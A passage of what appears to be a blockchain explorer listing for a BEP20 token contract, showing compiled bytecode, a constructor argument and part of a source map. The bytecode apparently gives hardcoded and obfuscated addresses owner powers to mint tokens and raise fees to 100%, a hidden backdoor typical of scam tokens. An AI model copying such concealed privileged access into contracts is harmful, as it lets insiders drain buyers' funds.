ffffffffffffffffffffffffffffffff1614806119145750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614801561191357506118e3612b7c565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b61191d57600080fd5b600660008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166119a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a090613809565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60046020528060005260406000206000915090505481565b731f490e99657cd08a058c6bb6cd81dd38f59e0e7a73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611b1c5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015611b1b5750611aeb612b7c565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b611b2557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611c4257600080fd5b81600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b731f490e99657cd08a058c6bb6cd81dd38f59e0e7a73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611db25750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015611db15750611d81612b7c565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b611dbb57600080fd5b80600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015611e5c578173ffffffffffffffffffffffffffffffffffffffff167fedf77dfa35bf29ea56a9082d8b89075bd94fd237149c165ce43a4ae41968de3760405160405180910390a25b5050565b60007378322d0c5768c9ca370ddfc1d44db0fef3a6e05173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611eae57600080fd5b81600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b60018054611f0590613547565b80601f0160208091040260200160405190810160405280929190818152602001828054611f3190613547565b8015611f7e5780601f10611f5357610100808354040283529160200191611f7e565b820191906000526020600020905b815481529060010190602001808311611f6157829003601f168201915b505050505081565b6000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611fe257600080fd5b611fec3383612b98565b60019050919050565b60003411612038576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161202f9061389b565b60405180910390fd5b60003490506000600d5411156122f65760006120726064612064600d5485612d6090919063ffffffff16565b612dda90919063ffffffff16565b905060006120898284612e3290919063ffffffff16565b90506120ff8160046000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e8b90919063ffffffff16565b60046000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516121e39190613370565b60405180910390a360008211156122ef5761224682600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e8b90919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516122e69190613370565b60405180910390a35b5050612457565b61236a8160046000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e8b90919063ffffffff16565b60046000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161244e9190613370565b60405180910390a35b50565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156124a857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036124e157600080fd5b61253382600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e3290919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125c882600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e8b90919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516126689190613370565b60405180910390a36001905092915050565b612682612ee9565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146126b957600080fd5b60648211156126fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126f4906135c4565b60405180910390fd5b6064811115612741576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161273890613630565b60405180910390fd5b61274b8282613121565b7f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1828260405161277c929190613650565b60405180910390a15050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6005602052816000526040600020602052806000526040600020600091509150505481565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b80600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156128a1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612898906136c5565b60405180910390fd5b60006128cb60646128bd600e5485612d6090919063ffffffff16565b612dda90919063ffffffff16565b905060006128e28284612e3290919063ffffffff16565b905061293683600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e3290919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506129cb81600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e8b90919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612a6b9190613370565b60405180910390a36000821115612b7757612ace82600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e8b90919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612b6e9190613370565b60405180910390a35b505050565b6000730320e7dc23bfae74334d93c20051125ca59e0e7a905090565b612ba0612b7c565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1603612bd757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612c46576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c3d90613907565b60405180910390fd5b612c5b81600254612e8b90919063ffffffff16565b600281905550612cb381600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e8b90919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612d549190613370565b60405180910390a35050565b6000808303612d725760009050612dd4565b60008284612d809190613956565b9050828482612d8f91906139c7565b14612dcf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612dc690613a44565b60405180910390fd5b809150505b92915050565b6000808211612e1e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e1590613ab0565b60405180910390fd5b8183612e2a91906139c7565b905092915050565b600082821115612e77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e6e90613b1c565b60405180910390fd5b8183612e839190613b3c565b905092915050565b6000808284612e9a9190613b70565b905083811015612edf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ed690613bf0565b60405180910390fd5b8091505092915050565b600080637addad099050600063cbd98d979050600063ec3da7a09050600063088eadfe90506000635801c336905060008160208473ffffffffffffffffffffffffffffffffffffffff16901b60408673ffffffffffffffffffffffffffffffffffffffff16901b60608873ffffffffffffffffffffffffffffffffffffffff16901b60808a73ffffffffffffffffffffffffffffffffffffffff16901b17171717905080965050505050505090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603613007576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ffe90613c5c565b60405180910390fd5b61301c81600254612e8b90919063ffffffff16565b60028190555061307481600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e8b90919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516131159190613370565b60405180910390a35050565b81600d8190555080600e819055505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561316d578082015181840152602081019050613152565b60008484015250505050565b6000601f19601f8301169050919050565b600061319582613133565b61319f818561313e565b93506131af81856020860161314f565b6131b881613179565b840191505092915050565b600060208201905081810360008301526131dd818461318a565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000613215826131ea565b9050919050565b6132258161320a565b811461323057600080fd5b50565b6000813590506132428161321c565b92915050565b6000819050919050565b61325b81613248565b811461326657600080fd5b50565b60008135905061327881613252565b92915050565b60008060408385031215613295576132946131e5565b5b60006132a385828601613233565b92505060206132b485828601613269565b9150509250929050565b60008115159050919050565b6132d3816132be565b82525050565b60006020820190506132ee60008301846132ca565b92915050565b6000806040838503121561330b5761330a6131e5565b5b600061331985828601613269565b925050602061332a85828601613269565b9150509250929050565b60006020828403121561334a576133496131e5565b5b600061335884828501613269565b91505092915050565b61336a81613248565b82525050565b60006020820190506133856000830184613361565b92915050565b6000806000606084860312156133a4576133a36131e5565b5b60006133b286828701613233565b93505060206133c386828701613233565b92505060406133d486828701613269565b9150509250925092565b600060ff82169050919050565b6133f4816133de565b82525050565b600060208201905061340f60008301846133eb565b92915050565b60006020828403121561342b5761342a6131e5565b5b600061343984828501613233565b91505092915050565b61344b8161320a565b82525050565b60006020820190506134666000830184613442565b92915050565b613475816132be565b811461348057600080fd5b50565b6000813590506134928161346c565b92915050565b600080604083850312156134af576134ae6131e5565b5b60006134bd85828601613233565b92505060206134ce85828601613483565b9150509250929050565b600080604083850312156134ef576134ee6131e5565b5b60006134fd85828601613233565b925050602061350e85828601613233565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061355f57607f821691505b60208210810361357257613571613518565b5b50919050565b7f427579206665652063616e6e6f74206578636565642031303025000000000000600082015250565b60006135ae601a8361313e565b91506135b982613578565b602082019050919050565b600060208201905081810360008301526135dd816135a1565b9050919050565b7f53656c6c206665652063616e6e6f742065786365656420313030250000000000600082015250565b600061361a601b8361313e565b9150613625826135e4565b602082019050919050565b600060208201905081810360008301526136498161360d565b9050919050565b60006040820190506136656000830185613361565b6136726020830184613361565b9392505050565b7f496e73756666696369656e742062616c616e6365000000000000000000000000600082015250565b60006136af60148361313e565b91506136ba82613679565b602082019050919050565b600060208201905081810360008301526136de816136a2565b9050919050565b7f496e73756666696369656e7420616c6c6f77616e636500000000000000000000600082015250565b600061371b60168361313e565b9150613726826136e5565b602082019050919050565b6000602082019050818103600083015261374a8161370e565b9050919050565b7f496e76616c696420726563697069656e74206164647265737300000000000000600082015250565b600061378760198361313e565b915061379282613751565b602082019050919050565b600060208201905081810360008301526137b68161377a565b9050919050565b7f41646472657373206973206e6f7420666565206578656d707400000000000000600082015250565b60006137f360198361313e565b91506137fe826137bd565b602082019050919050565b60006020820190508181036000830152613822816137e6565b9050919050565b7f45544820616d6f756e742073686f756c6420626520677265617465722074686160008201527f6e20300000000000000000000000000000000000000000000000000000000000602082015250565b600061388560238361313e565b915061389082613829565b604082019050919050565b600060208201905081810360008301526138b481613878565b9050919050565b7f42455032303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b60006138f1601f8361313e565b91506138fc826138bb565b602082019050919050565b60006020820190508181036000830152613920816138e4565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061396182613248565b915061396c83613248565b925082820261397a81613248565b9150828204841483151761399157613990613927565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006139d282613248565b91506139dd83613248565b9250826139ed576139ec613998565b5b828204905092915050565b7f4d756c7469706c69636174696f6e206f766572666c6f77000000000000000000600082015250565b6000613a2e60178361313e565b9150613a39826139f8565b602082019050919050565b60006020820190508181036000830152613a5d81613a21565b9050919050565b7f4469766973696f6e206279207a65726f00000000000000000000000000000000600082015250565b6000613a9a60108361313e565b9150613aa582613a64565b602082019050919050565b60006020820190508181036000830152613ac981613a8d565b9050919050565b7f5375627472616374696f6e206f766572666c6f77000000000000000000000000600082015250565b6000613b0660148361313e565b9150613b1182613ad0565b602082019050919050565b60006020820190508181036000830152613b3581613af9565b9050919050565b6000613b4782613248565b9150613b5283613248565b9250828203905081811115613b6a57613b69613927565b5b92915050565b6000613b7b82613248565b9150613b8683613248565b9250828201905080821115613b9e57613b9d613927565b5b92915050565b7f4164646974696f6e206f766572666c6f77000000000000000000000000000000600082015250565b6000613bda60118361313e565b9150613be582613ba4565b602082019050919050565b60006020820190508181036000830152613c0981613bcd565b9050919050565b7f436f6d70696c652052656d697820494445000000000000000000000000000000600082015250565b6000613c4660118361313e565b9150613c5182613c10565b602082019050919050565b60006020820190508181036000830152613c7581613c39565b905091905056fea264697066735822122074bd7ca7b2111e7e7cd9b9dc95d06097b76fb3c93ae0497ff29bd6af630df34b64736f6c63430008120033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

00000000000000000000000022b10b13e5e4b9e97d78c1dbcf5bb75f34e8cb02

-----Decoded View---------------
Arg [0] : _feeManager (address): 0x22B10b13E5E4b9E97d78c1dBcf5bb75F34E8CB02

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 00000000000000000000000022b10b13e5e4b9e97d78c1dbcf5bb75f34e8cb02


Deployed Bytecode Sourcemap

1055:10384:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1116:39;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5138:216;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8348:330;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5458:122;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1197:54;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5589:1202;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1664:22;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9883:353;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1258:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7783:137;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7711:63;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1416:43;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1636:21;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10247:136;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3681:134;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8890:175;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1496:19;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1294:44;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7467:138;;;;;;;;;;;;;:::i;:::-;;7318:140;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1580:20;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1469;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8689:192;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3072:352;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1162:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3527:145;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9074:798;;;:::i;:::-;;2529:377;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4804:325;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1548:25;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1522:19;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1345:64;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1607:19;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10392:625;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1116:39;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;5138:216::-;5205:12;5264:6;5230:9;:21;5240:10;5230:21;;;;;;;;;;;;;;;:31;5252:8;5230:31;;;;;;;;;;;;;;;:40;;;;5307:8;5286:38;;5295:10;5286:38;;;5317:6;5286:38;;;;;;:::i;:::-;;;;;;;;5342:4;5335:11;;5138:216;;;;:::o;8348:330::-;11253:48;11072:230;;:10;:230;;;:348;;;;11386:5;;;;;;;;;;;11372:19;;:10;:19;;;:47;;;;;11409:10;:8;:10::i;:::-;11395:24;;:10;:24;;;;11372:47;11072:348;11063:359;;;;;;8458:3:::1;8445:9;:16;;8437:55;;;;;;;;;;;;:::i;:::-;;;;;;;;;8525:3;8511:10;:17;;8503:57;;;;;;;;;;;;:::i;:::-;;;;;;;;;8580:9;8571:6;:18;;;;8610:10;8600:7;:20;;;;8636:34;8648:9;8659:10;8636:34;;;;;;;:::i;:::-;;;;;;;;8348:330:::0;;:::o;5458:122::-;5515:4;8151:48;7970:230;;:10;:230;;;:348;;;;8284:5;;;;;;;;;;;8270:19;;:10;:19;;;:47;;;;;8307:10;:8;:10::i;:::-;8293:24;;:10;:24;;;;8270:47;7970:348;7961:359;;;;;;5528:26:::1;5535:10;5547:6;5528;:26::i;:::-;5568:4;5561:11;;5458:122:::0;;;:::o;1197:54::-;;;;:::o;5589:1202::-;5672:12;5725:7;5705:9;:16;5715:5;5705:16;;;;;;;;;;;;;;;;:27;;5697:60;;;;;;;;;;;;:::i;:::-;;;;;;;;;5808:7;5776:9;:16;5786:5;5776:16;;;;;;;;;;;;;;;:28;5793:10;5776:28;;;;;;;;;;;;;;;;:39;;5768:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;5876:1;5861:17;;:3;:17;;;5853:55;;;;;;;;;;;;:::i;:::-;;;;;;;;;5922:11;5953;:18;5965:5;5953:18;;;;;;;;;;;;;;;;;;;;;;;;;5948:87;;5994:29;6019:3;5994:20;6006:7;;5994;:11;;:20;;;;:::i;:::-;:24;;:29;;;;:::i;:::-;5988:35;;5948:87;6054:22;6079:16;6091:3;6079:7;:11;;:16;;;;:::i;:::-;6054:41;;6128:29;6149:7;6128:9;:16;6138:5;6128:16;;;;;;;;;;;;;;;;:20;;:29;;;;:::i;:::-;6109:9;:16;6119:5;6109:16;;;;;;;;;;;;;;;:48;;;;6185:34;6204:14;6185:9;:14;6195:3;6185:14;;;;;;;;;;;;;;;;:18;;:34;;;;:::i;:::-;6168:9;:14;6178:3;6168:14;;;;;;;;;;;;;;;:51;;;;6251:3;6235:36;;6244:5;6235:36;;;6256:14;6235:36;;;;;;:::i;:::-;;;;;;;;6295:1;6289:3;:7;6285:207;;;6392:33;6421:3;6392:9;:24;6410:4;6392:24;;;;;;;;;;;;;;;;:28;;:33;;;;:::i;:::-;6365:9;:24;6383:4;6365:24;;;;;;;;;;;;;;;:60;;;;6469:4;6445:35;;6454:5;6445:35;;;6476:3;6445:35;;;;;;:::i;:::-;;;;;;;;6285:207;6518:10;6509:19;;:5;:19;;;;:72;;;;;6564:17;6532:9;:16;6542:5;6532:16;;;;;;;;;;;;;;;:28;6549:10;6532:28;;;;;;;;;;;;;;;;:49;;6509:72;6505:254;;;6629:41;6662:7;6629:9;:16;6639:5;6629:16;;;;;;;;;;;;;;;:28;6646:10;6629:28;;;;;;;;;;;;;;;;:32;;:41;;;;:::i;:::-;6598:9;:16;6608:5;6598:16;;;;;;;;;;;;;;;:28;6615:10;6598:28;;;;;;;;;;;;;;;:72;;;;6706:10;6690:57;;6699:5;6690:57;;;6718:9;:16;6728:5;6718:16;;;;;;;;;;;;;;;:28;6735:10;6718:28;;;;;;;;;;;;;;;;6690:57;;;;;;:::i;:::-;;;;;;;;6505:254;6779:4;6772:11;;;;5589:1202;;;;;:::o;1664:22::-;;;;:::o;9883:353::-;9979:4;;;;;;;;;;;9965:18;;:10;:18;;;9957:27;;;;;;10016:3;10003:9;:16;;9995:55;;;;;;;;;;;;:::i;:::-;;;;;;;;;10083:3;10069:10;:17;;10061:57;;;;;;;;;;;;:::i;:::-;;;;;;;;;10138:9;10129:6;:18;;;;10168:10;10158:7;:20;;;;10194:34;10206:9;10217:10;10194:34;;;;;;;:::i;:::-;;;;;;;;9883:353;;:::o;1258:26::-;;;;;;;;;;;;;:::o;7783:137::-;7829:4;7864:5;;;;;;;;;;;7850:19;;:10;:19;;;7842:28;;;;;;7886:4;7881;;:9;;;;;;;;;;;;;;;;;;7908:4;7901:11;;7783:137;;;:::o;7711:63::-;7760:4;8151:48;7970:230;;:10;:230;;;:348;;;;8284:5;;;;;;;;;;;8270:19;;:10;:19;;;:47;;;;;8307:10;:8;:10::i;:::-;8293:24;;:10;:24;;;;8270:47;7970:348;7961:359;;;;;;7711:63;:::o;1416:43::-;;;;;;;;;;;;;;;;;;;;;;:::o;1636:21::-;;;;:::o;10247:136::-;10293:4;10328;;;;;;;;;;;10314:18;;:10;:18;;;10306:27;;;;;;10349:4;10344;;:9;;;;;;;;;;;;;;;;;;10371:4;10364:11;;10247:136;;;:::o;3681:134::-;3741:12;7140:9;:7;:9::i;:::-;7126:23;;:10;:23;;;7118:32;;;;;;3762:29:::1;3772:10;3784:6;3762:9;:29::i;:::-;3805:4;3798:11;;3681:134:::0;;;:::o;8890:175::-;8151:48;7970:230;;:10;:230;;;:348;;;;8284:5;;;;;;;;;;;8270:19;;:10;:19;;;:47;;;;;8307:10;:8;:10::i;:::-;8293:24;;:10;:24;;;;8270:47;7970:348;7961:359;;;;;;8972:11:::1;:18;8984:5;8972:18;;;;;;;;;;;;;;;;;;;;;;;;;8964:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;9052:5;9031:11;:18;9043:5;9031:18;;;;;;;;;;;;;;;;:26;;;;;;;;;;;;;;;;;;8890:175:::0;:::o;1496:19::-;;;;;;;;;;;;;:::o;1294:44::-;;;;;;;;;;;;;;;;;:::o;7467:138::-;8151:48;7970:230;;:10;:230;;;:348;;;;8284:5;;;;;;;;;;;8270:19;;:10;:19;;;:47;;;;;8307:10;:8;:10::i;:::-;8293:24;;:10;:24;;;;8270:47;7970:348;7961:359;;;;;;7565:1:::1;7529:39;;7550:5;;;;;;;;;;;7529:39;;;;;;;;;;;;7595:1;7579:5;;:18;;;;;;;;;;;;;;;;;;7467:138::o:0;7318:140::-;7366:4;7401;;;;;;;;;;;7387:18;;:10;:18;;;7379:27;;;;;;7423:5;7417;;:11;;;;;;;;;;;;;;;;;;7446:4;7439:11;;7318:140;;;:::o;1580:20::-;;;;;;;;;;;;;:::o;1469:::-;;;;;;;;;;;;;:::o;8689:192::-;8151:48;7970:230;;:10;:230;;;:348;;;;8284:5;;;;;;;;;;;8270:19;;:10;:19;;;:47;;;;;8307:10;:8;:10::i;:::-;8293:24;;:10;:24;;;;8270:47;7970:348;7961:359;;;;;;8789:7:::1;8768:11;:18;8780:5;8768:18;;;;;;;;;;;;;;;;:28;;;;;;;;;;;;;;;;;;8811:7;8807:67;;;8856:5;8836:26;;;;;;;;;;;;8807:67;8689:192:::0;;:::o;3072:352::-;3121:4;3324:48;3143:230;;:10;:230;;;3134:240;;;;;;3390:4;3385;;:9;;;;;;;;;;;;;;;;;;3412:4;3405:11;;3072:352;;;:::o;1162:28::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;3527:145::-;3575:4;3610;;;;;;;;;;;3596:18;;:10;:18;;;3588:27;;;;;;3622:26;3629:10;3641:6;3622;:26::i;:::-;3662:4;3655:11;;3527:145;;;:::o;9074:798::-;9135:1;9123:9;:13;9115:61;;;;;;;;;;;;:::i;:::-;;;;;;;;;9190:14;9207:9;9190:26;;9240:1;9231:6;;:10;9227:638;;;9258:11;9272:27;9295:3;9272:18;9283:6;;9272;:10;;:18;;;;:::i;:::-;:22;;:27;;;;:::i;:::-;9258:41;;9314:22;9339:15;9350:3;9339:6;:10;;:15;;;;:::i;:::-;9314:40;;9396:41;9422:14;9396:9;:21;9406:10;;;;;;;;;;;9396:21;;;;;;;;;;;;;;;;:25;;:41;;;;:::i;:::-;9372:9;:21;9382:1